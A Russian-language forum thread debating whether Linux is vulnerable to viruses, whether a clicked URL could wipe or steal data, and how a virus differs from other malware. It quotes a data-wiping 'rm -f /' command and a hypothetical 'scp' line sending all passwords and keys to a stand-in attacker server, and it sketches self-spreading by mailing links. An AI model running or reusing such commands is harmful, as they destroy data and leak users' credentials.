О Вирусах в Linux

[ruslandh]

Ничего не стоит навесить на url аналог
rm -f /

[Rezedent12]

Заражением компьютера.

[Карлсон]

Ничего не стоит навесить на url аналог
rm -f /

Ой? А кто же и через что пошлет на выполнение в shell такую команду прям из URL?

[ruslandh]

Я-же сказал аналог. Например, написанный на Jave

[Карлсон]

Я-же сказал аналог. Например, написанный на Jave

Вот даже как! То меня тут все с пеной у рта убеждают, что Линукс это такая _по_определению_ супер-пупер-защищенная система, где невозможны вирусы и трояны (а те, что возможны, нужно сначала скачать, пропатчить и откомпилировать), то вдруг банальный переход по URL начисто удаляет все пользовательские данные (а мог бы, что гораздо хуже, переслать их злоумышленникам).

Какая радикальная трансформация взглядов!

[МИНЗДРАВ]

банальный переход по URL начисто удаляет все пользовательские данные

Да шутит он!!!
Чтоб с корнем, что-то сделать, пароль нужен! По другому не сработает.

[ruslandh]

Вирусы не работают, а данные бессмысленным нажатием ссылок попортить очень даже можно. Вы не замечали, что по-умолчанию Java отключена. Это - ведь неслучайно.  

[Карлсон]

Вирусы не работают

Если при переходе по ссылке можно получить "аналог rm -r /", то можно получить и аналог "scp ВСЕ_ПАРОЛИ_И_КЛЮЧИ haskers_server:./lamers_data". Или это будет не вирус? А что такое тогда вирус? Или надо, чтоб непременно он прописал что-то в автозагрузку?

[Rezedent12]

Вообще, визор работающий от рута и проверяющий даты изменения файлов автозапуска пользователей поможет в большинстве случаев (в будущем).

[Карлсон]

Вообще, визор работающий от рута и проверяющий даты изменения файлов автозапуска пользователей поможет в большинстве случаев (в будущем).

Я конечно точно не знаю, так как не пользуюсь Гномом, но... Нет ли там "реестра", из которого можно и автозапуститься, и дата изменения не поможет.

Что, придется анализировать "реестр"? Опять гонка вооружений "вирусы-антивирусы", которую будут подпитывать фичи DE (реестры, шины сообщений, через которые можно управлять приложениями и т.п.)? А как же мантра "линукс надежен, там нету и не может быть вирусов, там не работают от админа и там не может быть вирусов"?

[YYY]

Я конечно точно не знаю, так как не пользуюсь Гномом, но... Нет ли там "реестра", из которого можно и автозапуститься, и дата изменения не поможет.

ЧЁрт... мне теперь надо гном что=ля установить ? :)

[ruslandh]

Вирусы не работают

Если при переходе по ссылке можно получить "аналог rm -r /", то можно получить и аналог "scp ВСЕ_ПАРОЛИ_И_КЛЮЧИ haskers_server:./lamers_data". Или это будет не вирус? А что такое тогда вирус? Или надо, чтоб непременно он прописал что-то в автозагрузку?

Нет конечно  Вирус - это программа, которая умеет воспроизводить самоё себя ("размножаться").

[Карлсон]

Нет конечно  Вирус - это программа, которая умеет воспроизводить самоё себя ("размножаться").

grep по почтовой базе и рассылка себя (ссылки на ресурс с вредоносным кодом) по почте. Или то же самое по IM.

[ruslandh]

Не - это не вирус. Это просто зловред, который может рассылать себя по почте.

[Карлсон]

Не - это не вирус. Это просто зловред, который может рассылать себя по почте.

Можно долго спорить о терминологии (я щас могу начать говорить, что если тело программы приаттачить к письму, то это будет репликация себя). Но факт остается: сделать из Линукс-машины участника бот-нета, или похитить пользовательские данные можно, принципиально этому ничего не мешает. Кроме нечастых ошибок в программах и того факта, что пока это никому не нужно массово ввиду слабой распространенности Линукса среди неквалифицированных пользователей.